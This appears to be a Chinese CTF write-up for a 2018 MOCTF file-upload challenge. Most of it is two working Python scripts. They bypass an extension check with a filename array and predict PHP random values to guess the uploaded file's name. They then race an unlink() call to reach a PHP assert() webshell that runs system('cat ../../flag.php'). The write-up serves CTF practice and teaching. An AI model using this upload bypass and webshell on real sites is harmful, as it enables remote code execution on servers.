此时判断格式为count($filename)=3,3-1=2,$filename[2]=jpg
$filename[0].'moctf'.$code.".".end($filename)=hellomoctf+$code.php
参考出题作者https://www.codemonster.cn/2018/02/13/2018-moctf-happy-writeup/的博客预期解法是
1.username数组bypass后缀检查,绕过content的waf
2.rand随机数预测+爆破文件名 在unlink之前访问shell
结果大佬们直接非预期解bypass了unlink
打扰了
非预期解参考一叶飘零师傅的WriteUp
预期解如下
写两个脚本,
listen.py
#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,
#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗
#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
from socket import *
from time import ctime
import random
import itertools as its
import hashlib
r=req.session()
url="http://120.78.57.208:6005/"
def get_rand_list():
HOST = ''
PORT = 8888
BUFSIZ = 128
ADDR = (HOST, PORT)
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
rand_num=0
l=[]
while True:
tcpCliSock, addr = tcpSerSock.accept()
while True:
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
data=data[0:6]
print data,l
for i in data:
l.append(ord(i)+1-ord('a'))
rand_num+=1
if rand_num==6:
break
tcpCliSock.close()
tcpSerSock.close()
return l
def get_salt(l):
salt=""
for i in range(6):
j=len(l)
r=(l[j-3]+l[j-31])-1
if r>26:
r-=26
#print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
l.append(r)
salt+=chr(r+ord('a')-1)
#print salt
return salt
def get_flag(salt):
s=hashlib.sha1('119.23.73.3').hexdigest()
url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
data={"a":"system('cat ../../flag.php');echo '666666';"}
r2=r.post(url1,data=data)
print salt
if '404' not in r2.text:
print r2.text
get_flag('aaaaaa')
l=get_rand_list()
salt=get_salt(l)
s=0
for i in range(100000):
s=s+1
print s
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])-int(s[j]))
get_flag(salt2)
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])+int(s[j]))
get_flag(salt2)
put.py
#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,
#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次
#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
r=req.session()
url="http://120.78.57.208:6005/?action="
def get_test():
url2=url+"test"
r1=r.get(url2)
print url2
print r1.text
def upload():
data={"filename[4]":"jpg",
"filename[2]":"jpg",
"filename[1]":"php",
"content":"<script language='php'>assert($_POST[a]);</script>",
"a":"system('cat ../../flag.php');"
}
url1=url+"upload"
r2=r.post(url1,data=data)
print r2.text
for i in range(6):
get_test()
upload()